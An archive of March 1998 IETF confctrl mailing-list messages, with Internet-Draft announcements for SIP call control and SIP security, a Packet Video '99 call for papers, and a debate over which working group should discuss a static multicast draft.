Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working 
Group of the IETF.

	Title		: SIP Call Control Services
	Author(s)	: J. Rosenberg, H. Schulzrinne
	Filename	: draft-ietf-mmusic-sip-cc-00.txt
	Pages		: 17
	Date		: 16-Mar-98
	
         This document describes the  org.ietf.sip.call extensions
         to the Session Initiation Protocol (SIP). The document
         also describes how standard telephony services can be
         implemented in SIP.


Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-cc-00.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-cc-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-cc-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980316143725.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-cc-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-cc-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980316143725.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Mar 17 18:57:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA23616
	for confctrl-outgoing; Tue, 17 Mar 1998 18:57:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA23611
	for <confctrl@zephyr.isi.edu>; Tue, 17 Mar 1998 18:57:20 -0800 (PST)
Received: from rumor.research.att.com (rumor.research.att.com [192.20.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA10268
	for <confctrl@isi.edu>; Tue, 17 Mar 1998 18:57:18 -0800 (PST)
Received: from research.att.com ([135.207.30.100]) by rumor; Tue Mar 17 21:53:52 EST 1998
Received: from surfcity.research.att.com ([135.207.128.5]) by research-clone; Tue Mar 17 21:55:50 EST 1998
Received: from pcbasso.research.att.com ([135.207.140.182])
	by surfcity.research.att.com (8.8.7/8.8.7) with SMTP id VAA20571
	for <confctrl@isi.edu>; Tue, 17 Mar 1998 21:55:47 -0500 (EST)
Message-ID: <350F3767.3FF8@research.att.com>
Date: Tue, 17 Mar 1998 21:54:31 -0500
From: Andrea Basso <basso@research.att.com>
Reply-To: basso@research.att.com
Organization: AT&T Labs - Research
X-Mailer: Mozilla 3.0Gold (Win95; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Packet Video'99 First Call for Papers
Content-Type: multipart/mixed; boundary="------------18BE647E4C12"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

--------------18BE647E4C12
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

-- 
Andrea Basso
Senior Technical Staff Member 
AT&T Labs - Research
Room 3-219, 100 Schultz Drive, Red Bank, NJ  07701
tel:+1 732 345 3302 fax:+1 732 345 3033
E-mail: basso@research.att.com
WWW   : http://www.research.att.com/info/basso

--------------18BE647E4C12
Content-Type: text/plain; charset=us-ascii; name="pv99cfp.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="pv99cfp.txt"

======================================================================
FIRST CALL FOR PAPERS
======================================================================

Packet Video '99 
The 9th International Packet Video Workshop 
26-27 April 1999 
New York City, U.S.A
http://www.research.att.com/~mrc/PacketVideo99.html 
 
Sponsored by: AT&T, Columbia University, EURASIP
(tentative list) 

======================================================================

The ninth International Packet Video Workshop (PV' 99) will be held at
the Davis auditorium, of Columbia University in New York City. The
workshop is devoted to presenting technological advancements and
innovations in video transmission over packet networks, in particular,
the Internet. Packet Video Workshops have been unique in providing a
common ground for people from video coding and networking fields.
Presentations on theory and practice, standards activities, and
business and consumer applications are encouraged.

We cordially invite you to take part in this workshop by submitting
your work and look forward to seeing you in New York City in April
1999 for what will be a most rewarding and exciting experience!  

PV'99 is scheduled to take place in the week following Picture Coding
Symposium 99 (PCS' 99)  which is being held in Portland Oregon, on
21-23 April 1999. For information on  PCS'99 please contact:
pcs@pcs.ece.orst.edu

======================================================================

TECHNICAL PROGRAM 

The technical program of Packet Video '99 will consist of invited
talks, submitted paper presentations, poster sessions and a plenary
session: "After Internet Telephony, Internet Television..."

Topics of interest include, but are not limited to, the following:

Video streaming over the Internet
Network adaptive video coding and transport
Packetized video for home LAN's
Packetized video for wireless/mobile systems
Layered coding for error resilience and heterogeneous networks
Packet loss resilient coding and transport 
Terminal and server architectures for Internet TV
Efficient transcoding for heterogeneous networks 
Congestion control
Error concealment
Statistical multiplexing for greater network and terminal utilization
Traffic shaping for efficient network and terminal utilization 
Interstream synchronization for multiple video presentations 
Performance modeling and evaluation
Rate control for VBR video
International Standards: MPEG-4, MPEG-7, H.263+, RTP, RTSP, SIP, SDP
Multicasting, MBONE applications
Implementations and commercial applications

======================================================================
Best Paper Award;

The author of the best paper will receive:
A $250 cash prize graciously donated by NEC USA, C&C Research
Laboratories.

======================================================================

Please submit an electronic manuscript written in HTML, not exceeding
7 Mbytes and 10 printed pages. We will produce a CD-ROM containing the
accepted papers. Electronic components accompanying your submission
are strongly encouraged.

Submit your work in ONE of the following forms: 

1) a set of HTML files organized in a single directory OR
2) as a URL (you must have the rights to all the material there,
and guarantee stability of the files until the conference).

to:

basso@research.att.com

Detailed instructions for authors and help with manuscript preparation
with HTML can be found on the conference web page:
http://www.research.att.com/~mrc/PacketVideo99.html 

ALL SUBMISSIONS MUST BE RECEIVED no later than: December 15th, 1998, 
NOTIFICATION OF ACCEPTANCE: February 1, 1999
FINAL PAPERS DUE: March 15, 1999 

======================================================================

GENERAL CHAIR
M. Reha Civanlar
AT&T Labs - Research
100 Schultz Drive, 3-213
Red Bank, NJ 07701
USA
civanlar@research.att.com

PUBLICATION & LOCAL ARRANGEMENTS
Andrea Basso
AT&T Labs - Research
100 Schultz Drive, 3-219
Red Bank, NJ 07701
USA
basso@research.att.com

PACKET VIDEO' 99 INTERNATIONAL STEERING COMMITTEE

John  Arnold, 		University of New South Wales,	Australia
Andrea Basso, 		AT&T Labs - Research,		USA
Stephen Casner, 	Precept Software,		USA
Shih-Fu Chang, 		Columbia University,		USA
Leonardo Chiariglione, 	CSELT,				Italy
M. Reha Civanlar, 	AT&T Labs - Research,		USA
Jon Crowcroft, 		University College of London,	UK
Mohammed  Ghanbari, 	University of Essex,		UK
Barry G. Haskell, 	AT&T Labs - Research,		USA
Steven McCanne, 	U. C. Berkeley,			USA
Geoff Morrison,		BT Labs,			UK
Joerg Ott, 		University of Bremen,		Germany
Sakae Okubo, 		Graphics Communication Labs,	Japan
D. Raychaudhuri, 	NEC Research,			USA
Amy  Reibman, 		AT&T Labs - Research,		USA
Henning Schulzrinne, 	Columbia University,		USA
Gary  Sullivan, 	PictureTel,			USA
Toshitaka Tsuda, 	Fujitsu,			Japan
Thierry  Turletti, 	INRIA,				France
Stephan Wenger, 	Technical University of Berlin,	Germany
Hiroshi Yasuda, 	NTT,				Japan


--------------18BE647E4C12--


From confctrl-owner  Tue Mar 17 21:29:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA28649
	for confctrl-outgoing; Tue, 17 Mar 1998 21:29:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA28644
	for <confctrl@zephyr.isi.edu>; Tue, 17 Mar 1998 21:29:47 -0800 (PST)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA16868;
	Tue, 17 Mar 1998 21:29:25 -0800 (PST)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199803180521.OAA07558@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id OAA07558; Wed, 18 Mar 1998 14:21:16 +0900
Subject: Re: MMUSIC at the LA IETF
To: schooler@cs.caltech.edu (Eve Schooler)
Date: Wed, 18 Mar 98 14:21:15 JST
Cc: confctrl@ISI.EDU, jo@tzi.org, mjh@ISI.EDU, rlang@std.sri.com,
        schooler@cs.caltech.edu
In-Reply-To: <199803162227.OAA00968@liszt.cs.caltech.edu>; from "Eve Schooler" at Mar 16, 98 2:27 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> There will be one session (two one hour session combined)
> for MMUSIC at the upcoming LA IETF.
> 
> >    Tuesday, March 31 at 1300-1515 
> >    (opposite oncrpc, ngtrans, ip1394, sieve, urlreg spki)
> 
> We would like to take this opportunity to solicit input 
> for agenda items.  Presently, we expect the agenda to focus
> on SIP, SIP profiles, and possibly issues with SAP as well.  
> All are more or less follow-ons from the last IETF.  
> With your input, we hope to create a more formal agenda in 
> the next week or so.

I'd like to discuss SIP/SAP related issues to announce sessions
statically through web and RTP URLs, as described in

	Title		: Static Multicast
	Author(s)	: J. Crowcroft, M. Ohta
	Filename	: draft-ohta-static-multicast-00.txt
	Pages		: 10
	Date		: 13-Mar-98

							Masataka Ohta

From confctrl-owner  Wed Mar 18 09:11:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA08732
	for confctrl-outgoing; Wed, 18 Mar 1998 09:11:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08721
	for <confctrl@zephyr.isi.edu>; Wed, 18 Mar 1998 09:11:10 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA11317
	for <confctrl@ISI.EDU>; Wed, 18 Mar 1998 09:11:08 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA00744; Wed, 18 Mar 1998 12:10:23 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: schooler@cs.caltech.edu (Eve Schooler), confctrl@ISI.EDU, jo@tzi.org,
        rlang@std.sri.com
Subject: Re: MMUSIC at the LA IETF 
In-reply-to: Your message of "Wed, 18 Mar 1998 14:21:15 +0200."
             <199803180521.OAA07558@necom830.hpcl.titech.ac.jp> 
Date: Wed, 18 Mar 1998 12:10:23 -0500
Message-ID: <742.890241023@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> There will be one session (two one hour session combined)
>> for MMUSIC at the upcoming LA IETF.
>> 
>> >    Tuesday, March 31 at 1300-1515 
>> >    (opposite oncrpc, ngtrans, ip1394, sieve, urlreg spki)
>> 
>> We would like to take this opportunity to solicit input 
>> for agenda items.  Presently, we expect the agenda to focus
>> on SIP, SIP profiles, and possibly issues with SAP as well.  
>> All are more or less follow-ons from the last IETF.  
>> With your input, we hope to create a more formal agenda in 
>> the next week or so.
>
>I'd like to discuss SIP/SAP related issues to announce sessions
>statically through web and RTP URLs, as described in
>
>	Title		: Static Multicast
>	Author(s)	: J. Crowcroft, M. Ohta
>	Filename	: draft-ohta-static-multicast-00.txt
>	Pages		: 10
>	Date		: 13-Mar-98


Having read your draft, I don't believe it relates to SIP at all.  It
relates to SAP in that you propose not using SAP.  SDP can already be
carried by HTTP as you suggest, thus I don't see that there is any
need to discuss this draft in MMUSIC.

You should probably discuss this draft in IDMR or Mboned.  If you
manage to convince people there that the current model for IP
multicast must be replaced, then clearly SAP will not be useful, but
until then I think we should continue the standardisation of SAP.

Cheers,
	Mark

From confctrl-owner  Wed Mar 18 10:46:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA14183
	for confctrl-outgoing; Wed, 18 Mar 1998 10:46:12 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14178
	for <confctrl@zephyr.isi.edu>; Wed, 18 Mar 1998 10:46:09 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id KAA23493;
	Wed, 18 Mar 1998 10:46:04 -0800 (PST)
Received: from grazie2.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.14690-0@bells.cs.ucl.ac.uk>; Wed, 18 Mar 1998 18:45:07 +0000
To: Mark Handley <mjh@ISI.EDU>
cc: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>,
        schooler@cs.caltech.edu (Eve Schooler), confctrl@ISI.EDU, jo@tzi.org,
        rlang@std.sri.com
Subject: Re: MMUSIC at the LA IETF
In-reply-to: Your message of "Wed, 18 Mar 1998 12:10:23 EST." <742.890241023@north.lcs.mit.edu>
Date: Wed, 18 Mar 1998 18:45:06 +0000
Message-ID: <746.890246706@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <742.890241023@north.lcs.mit.edu>, Mark Handley typed:

 >>Having read your draft, I don't believe it relates to SIP at all.  It
 >>relates to SAP in that you propose not using SAP.  SDP can already be
 >>carried by HTTP as you suggest, thus I don't see that there is any
 >>need to discuss this draft in MMUSIC.
 
um, you mean a group is defined by the protocols it defined in the past
only?

i think not (he said wearing his IAB hat...)

 >>You should probably discuss this draft in IDMR or Mboned.  If you
 >>manage to convince people there that the current model for IP
 >>multicast must be replaced, then clearly SAP will not be useful, but
 >>until then I think we should continue the standardisation of SAP.
 
who said it was a replacement - its a shorter term practical solution for
some services while you figure out how to make the ones you are working on
scale.....

mboned is a possibility, i dont see why its IDMR, since its not routing.

 cheers

   jon


From confctrl-owner  Wed Mar 18 11:34:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA16409
	for confctrl-outgoing; Wed, 18 Mar 1998 11:34:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16399
	for <confctrl@zephyr.isi.edu>; Wed, 18 Mar 1998 11:34:42 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA21762
	for <confctrl@ISI.EDU>; Wed, 18 Mar 1998 11:34:40 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA01336; Wed, 18 Mar 1998 14:31:59 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
cc: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>,
        schooler@cs.caltech.edu (Eve Schooler), confctrl@ISI.EDU, jo@tzi.org,
        rlang@std.sri.com
Subject: Re: MMUSIC at the LA IETF 
In-reply-to: Your message of "Wed, 18 Mar 1998 18:45:06 GMT."
             <746.890246706@cs.ucl.ac.uk> 
Date: Wed, 18 Mar 1998 14:31:59 -0500
Message-ID: <1334.890249519@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>In message <742.890241023@north.lcs.mit.edu>, Mark Handley typed:
>
> >>Having read your draft, I don't believe it relates to SIP at all.  It
> >>relates to SAP in that you propose not using SAP.  SDP can already be
> >>carried by HTTP as you suggest, thus I don't see that there is any
> >>need to discuss this draft in MMUSIC.
> 
>um, you mean a group is defined by the protocols it defined in the past
>only?

Actually we're under strong presure from the IESG to finish our
current protocols and close the working group.

> >>You should probably discuss this draft in IDMR or Mboned.  If you
> >>manage to convince people there that the current model for IP
> >>multicast must be replaced, then clearly SAP will not be useful, but
> >>until then I think we should continue the standardisation of SAP.
> 
>who said it was a replacement - its a shorter term practical solution for
>some services while you figure out how to make the ones you are working on
>scale.....
>
>mboned is a possibility, i dont see why its IDMR, since its not routing.

I disagree with you here - the way a router discovers the Core/RP to
send a join message to is definitely part of a routing architecture.
A very similar proposal was discussed at the last IETF in IDMR, and we
had a lively discussion of the problems of this approach.

Cheers,
	Mark


From confctrl-owner  Wed Mar 18 15:48:43 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA26031
	for confctrl-outgoing; Wed, 18 Mar 1998 15:48:43 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA26026
	for <confctrl@zephyr.isi.edu>; Wed, 18 Mar 1998 15:48:42 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id PAA26778
	for <confctrl@ISI.EDU>; Wed, 18 Mar 1998 15:48:40 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.27739-0@bells.cs.ucl.ac.uk>; Wed, 18 Mar 1998 23:48:26 +0000
To: Mark Handley <mjh@ISI.EDU>
cc: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>,
        schooler@cs.caltech.edu (Eve Schooler), confctrl@ISI.EDU, jo@tzi.org,
        rlang@std.sri.com
Subject: Re: MMUSIC at the LA IETF
In-reply-to: Your message of "Wed, 18 Mar 1998 14:31:59 EST." <1334.890249519@north.lcs.mit.edu>
Date: Wed, 18 Mar 1998 23:48:25 +0000
Message-ID: <1044.890264905@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <1334.890249519@north.lcs.mit.edu>, Mark Handley typed:

 >>> >>Having read your draft, I don't believe it relates to SIP at all.  It
 >>> >>relates to SAP in that you propose not using SAP.  SDP can already be
 >>> >>carried by HTTP as you suggest, thus I don't see that there is any
 >>> >>need to discuss this draft in MMUSIC.
 
ok......so its related to sessions, but....

 >>>um, you mean a group is defined by the protocols it defined in the past
 >>>only?

 >>Actually we're under strong presure from the IESG to finish our
 >>current protocols and close the working group.

yes......though things move along from time to time....

 >>> >>You should probably discuss this draft in IDMR or Mboned.  If you
 >>> >>manage to convince people there that the current model for IP
 >>> >>multicast must be replaced, then clearly SAP will not be useful, but
 >>> >>until then I think we should continue the standardisation of SAP.

 >>>who said it was a replacement - its a shorter term practical solution for
 >>>some services while you figure out how to make the ones you are working on
 >>>scale.....

 >>>mboned is a possibility, i dont see why its IDMR, since its not routing.

 >>I disagree with you here - the way a router discovers the Core/RP to
 >>send a join message to is definitely part of a routing architecture.

you mean the way i find the MX record to find an IP adddress to send
the IP pcaket containin a SYN for my SMTP msg is part of unicast
routing?

i dont think so...

 >>A very similar proposal was discussed at the last IETF in IDMR, and we
 >>had a lively discussion of the problems of this approach.

lively? um......

only the RP bit, and i think dino was at least 25% right but we had a
bootstrapping problem with his approach...but thats an old IDMR
discussion, whereas this is meant to be a more architectural
discussion

we aren't getting far placing it, and thats a shame, coz actulally
lots of service providers want something ,a n d too many of us in the
IETF in the multicast, session and conf world are too interested in the
difficult (viz researchish)
problems to be good ietf citizens and solve the obvious
problems first - mea culpa too here....

 cheers
mboned doesnt have the charter. iesg aside (:-), i think mmusic is a
good fit......but if the shoe is too small, where to tread?
   jon


From confctrl-owner  Wed Mar 18 20:27:02 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA04098
	for confctrl-outgoing; Wed, 18 Mar 1998 20:27:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA04093
	for <confctrl@zephyr.isi.edu>; Wed, 18 Mar 1998 20:27:01 -0800 (PST)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA23245
	for <confctrl@ISI.EDU>; Wed, 18 Mar 1998 20:26:54 -0800 (PST)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199803190418.NAA09126@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id NAA09126; Thu, 19 Mar 1998 13:18:14 +0900
Subject: Re: MMUSIC at the LA IETF
To: mjh@ISI.EDU (Mark Handley)
Date: Thu, 19 Mar 98 13:18:13 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, schooler@cs.caltech.edu,
        confctrl@ISI.EDU, jo@tzi.org, rlang@std.sri.com
In-Reply-To: <742.890241023@north.lcs.mit.edu>; from "Mark Handley" at Mar 18, 98 12:10 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark;

> You should probably discuss this draft in IDMR or Mboned.  If you
> manage to convince people there that the current model for IP
> multicast must be replaced, then clearly SAP will not be useful, but
> until then I think we should continue the standardisation of SAP.

Thank you for your opinion.

Are there anyone in the WG who disagree with Mark?

Or, can I interprete Mark's point that:

	> multicast must be replaced, then clearly SAP will not be useful, but

so clear that it is the consensus of MMUSIC WG, without having
any discussion in face-to-face meeting?

> until then I think we should continue the standardisation of SAP.

Is the discussion on standardization of another way of session
announcement outside the scope of the WG?

I want some forum discuss detailed syntax of session announcement
with RTP/SDP URLs.

If MMUSIC is inappropriate, I should request a new one.

							Masataka Ohta

From confctrl-owner  Thu Mar 19 02:21:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA10853
	for confctrl-outgoing; Thu, 19 Mar 1998 02:21:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA10848
	for <confctrl@zephyr.isi.edu>; Thu, 19 Mar 1998 02:21:08 -0800 (PST)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA06875
	for <confctrl@ISI.EDU>; Thu, 19 Mar 1998 02:21:06 -0800 (PST)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199803191010.TAA09613@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id TAA09613; Thu, 19 Mar 1998 19:10:13 +0900
Subject: Re: MMUSIC at the LA IETF
To: J.Crowcroft@cs.ucl.ac.uk (Jon Crowcroft)
Date: Thu, 19 Mar 98 19:10:11 JST
Cc: mjh@ISI.EDU, mohta@necom830.hpcl.titech.ac.jp, schooler@cs.caltech.edu,
        confctrl@ISI.EDU, jo@tzi.org, rlang@std.sri.com
In-Reply-To: <1044.890264905@cs.ucl.ac.uk>; from "Jon Crowcroft" at Mar 18, 98 11:48 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon;

>  >>I disagree with you here - the way a router discovers the Core/RP to
>  >>send a join message to is definitely part of a routing architecture.
> 
> you mean the way i find the MX record to find an IP adddress to send
> the IP pcaket containin a SYN for my SMTP msg is part of unicast
> routing?

I'm afraid Mark is missing the point here.

Three proposals in the ID are somewhat interrelated but somewhat
separate.

RTP/SDP URL is meaningful as long as multicast addresses are
represented by DNS A records, which is mostly independent of
the rest of the proposals.

It suggests (but does not require) that, because of the global
nature of DNS, multicast address is globally unique.

DNS inverse lookup of multicast addresses is directly related to
the global uniqueness, so that it is weakly related to RTP/SDP
URL.

PIM/CBT RP/Core proposal is unrelated to the validity of the
RTP/SDP URL.

> 
> you mean the way i find the MX record to find an IP adddress to send
> the IP pcaket containin a SYN for my SMTP msg is part of unicast
> routing?
> 
> i dont think so...
> 
>  >>A very similar proposal was discussed at the last IETF in IDMR, and we
>  >>had a lively discussion of the problems of this approach.
> 
> lively? um......
> 
> only the RP bit, and i think dino was at least 25% right but we had a
> bootstrapping problem with his approach...but thats an old IDMR
> discussion, whereas this is meant to be a more architectural
> discussion

Where can I see Dino's full proposal? I saw only a piece of his
example, with which I can certainly say it is 25% correct at
most.

> mboned doesnt have the charter. iesg aside (:-), i think mmusic is a
> good fit......but if the shoe is too small, where to tread?

Mboned is chartered to be related to multicast protocols and
(operational) procedures and is seemingly unrelated to
application layer issues.

							Masataka Ohta



From confctrl-owner  Thu Mar 19 07:03:53 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA14766
	for confctrl-outgoing; Thu, 19 Mar 1998 07:03:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14758
	for <confctrl@zephyr.isi.edu>; Thu, 19 Mar 1998 07:03:52 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16287
	for <confctrl@isi.edu>; Thu, 19 Mar 1998 07:03:50 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id KAA15514;
	Thu, 19 Mar 1998 10:03:47 -0500 (EST)
Message-Id: <199803191503.KAA15514@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-sec-00.txt,.ps
Date: Thu, 19 Mar 1998 10:03:46 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP Security Using Public Key Algorithms
	Author(s)	: P. Kirstein, G. Montasser-Kohsari, E. Whelan
	Filename	: draft-ietf-mmusic-sip-sec-00.txt,.ps
	Pages		: 24
	Date		: 18-Mar-98
	
  The Session Initiation Protocol (SIP) is a simple protocol designed
  to enable the invitation of users to multimedia sessions. This
  document is a companion draft to draft-ietf-mmusic-sip-04.txt, which
  defines SIP but doesn't specify any security mechanisms other than
  possible protection by lower-level security mechanisms such as SSL.
  This leaves SIP transactions vulnerable to attack and this document
  aims to extend the SIP protocol to address such security
  considerations.  This document is a product of the Multiparty
  Multimedia Session Control (MMUSIC) working group of the Internet
  Engineering Task Force Comments are solicited and should be addressed
  to the working group's mailing list at confctrl@isi.edu and/or the
  authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-sec-00.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-sec-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-sec-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
